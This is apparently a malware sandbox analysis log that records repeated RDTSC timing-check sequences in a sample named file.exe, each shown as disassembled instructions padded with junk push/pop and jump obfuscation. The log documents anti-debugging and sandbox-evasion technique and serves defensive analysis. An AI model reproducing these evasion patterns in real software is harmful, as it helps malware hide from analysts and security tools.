Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA69EE second address: AA69FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA69FC second address: AA6A0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FE5C0825166h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6A0E second address: AA6A1F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jng 00007FE5C0825216h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB2F7 second address: AAB2FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB2FB second address: AAB31A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825229h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB31A second address: AAB31F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF0CA second address: AAF0CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF0CE second address: AAF0D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE167 second address: AAE16B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE310 second address: AAE314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE732 second address: AAE750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE5C0825224h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE750 second address: AAE75F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5C082516Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE8EF second address: AAE939 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FE5C0825228h 0x0000000c pop esi 0x0000000d pushad 0x0000000e jmp 00007FE5C0825229h 0x00000013 jmp 00007FE5C082521Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEC66 second address: AAEC81 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FE5C0825178h 0x0000000e push esi 0x0000000f jns 00007FE5C0825166h 0x00000015 push edi 0x00000016 pop edi 0x00000017 pop esi 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEDDB second address: AAEDF9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE5C082521Ch 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007FE5C0825216h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEDF9 second address: AAEDFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4E62 second address: AB4E68 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5272 second address: AB5278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5278 second address: AB527D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB553B second address: AB553F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB553F second address: AB5543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5543 second address: AB5555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FE5C0825166h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5555 second address: AB5559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5559 second address: AB5567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FE5C0825166h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB581C second address: AB5820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5820 second address: AB5841 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825173h 0x00000007 js 00007FE5C0825166h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5841 second address: AB5845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB59D5 second address: AB59DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8F0B second address: AB8F11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8F11 second address: AB8F16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8F16 second address: AB8F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FE5C0825223h 0x0000000d jns 00007FE5C0825216h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1EA9 second address: AC1EBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825170h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1865 second address: AC1869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1869 second address: AC1871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1871 second address: AC1876 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACFD92 second address: ACFD9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE5C0825166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACFD9C second address: ACFDBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082521Ch 0x00000007 ja 00007FE5C0825216h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jc 00007FE5C082521Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF992 second address: ACF997 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACF997 second address: ACF9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE5C0825216h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACFAF9 second address: ACFB01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2891 second address: AD289B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE5C0825216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2216 second address: AD221B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD23A5 second address: AD23AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD7B06 second address: AD7B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE5C0825166h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FE5C0825172h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD7B1B second address: AD7B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE5C0825216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFC6F second address: ADFC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADFC78 second address: ADFC7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE89CA second address: AE89DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE5C0825166h 0x0000000a pop eax 0x0000000b je 00007FE5C082516Eh 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7372 second address: AE7377 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7377 second address: AE737D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7765 second address: AE7799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 ja 00007FE5C0825216h 0x0000000b jmp 00007FE5C082521Ch 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007FE5C0825227h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE78D1 second address: AE78D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE78D6 second address: AE78DB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7B75 second address: AE7B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE5C0825166h 0x0000000a popad 0x0000000b pushad 0x0000000c jl 00007FE5C0825166h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7B8E second address: AE7B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE5C0825216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA0AF second address: AEA0B9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE5C0825166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEA0B9 second address: AEA0BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED99F second address: AED9BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5C0825170h 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FE5C0825166h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED9BD second address: AED9C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AED54B second address: AED56F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 js 00007FE5C0825166h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 jmp 00007FE5C082516Fh 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2E9B second address: AF2EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5C0825224h 0x00000009 popad 0x0000000a jg 00007FE5C082521Eh 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2EC7 second address: AF2ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFFCA4 second address: AFFCA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B02253 second address: B0225F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B020CA second address: B020DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE5C0825220h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B020DF second address: B020E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B020E5 second address: B0210A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825227h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FE5C0825216h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE5DE second address: AFE615 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE5C082516Ch 0x00000008 jmp 00007FE5C0825179h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE5C082516Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE615 second address: AFE62B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FE5C0825216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007FE5C0825216h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE62B second address: AFE62F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE62F second address: AFE644 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082521Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE644 second address: AFE64E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE5C0825166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE64E second address: AFE658 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE658 second address: AFE65C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2AFF5 second address: B2B015 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825220h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FE5C0825228h 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B153 second address: B2B157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B157 second address: B2B163 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B163 second address: B2B171 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE5C0825168h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B171 second address: B2B175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B406 second address: B2B41E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 je 00007FE5C0825166h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B41E second address: B2B426 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B426 second address: B2B42B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B9C8 second address: B2B9CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2B9CE second address: B2BA1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FE5C0825177h 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FE5C0825171h 0x00000017 jmp 00007FE5C0825176h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2BD18 second address: B2BD26 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE5C0825216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2BD26 second address: B2BD2C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2BD2C second address: B2BD3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jc 00007FE5C082521Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D66F second address: B2D677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D677 second address: B2D68B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FE5C0825216h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D68B second address: B2D6A9 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE5C0825166h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jp 00007FE5C0825166h 0x00000013 js 00007FE5C0825166h 0x00000019 pushad 0x0000001a popad 0x0000001b push edi 0x0000001c pop edi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30042 second address: B30047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30554 second address: B30558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B30558 second address: B30571 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jc 00007FE5C0825218h 0x0000000f pushad 0x00000010 popad 0x00000011 jbe 00007FE5C082521Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31833 second address: B3184E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 js 00007FE5C0825186h 0x0000000b jnp 00007FE5C082516Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3184E second address: B31854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31854 second address: B31858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B334AF second address: B334B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B334B5 second address: B334BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B334BB second address: B334BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0242 second address: 51C0246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0246 second address: 51C0263 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C0263 second address: 51C0269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
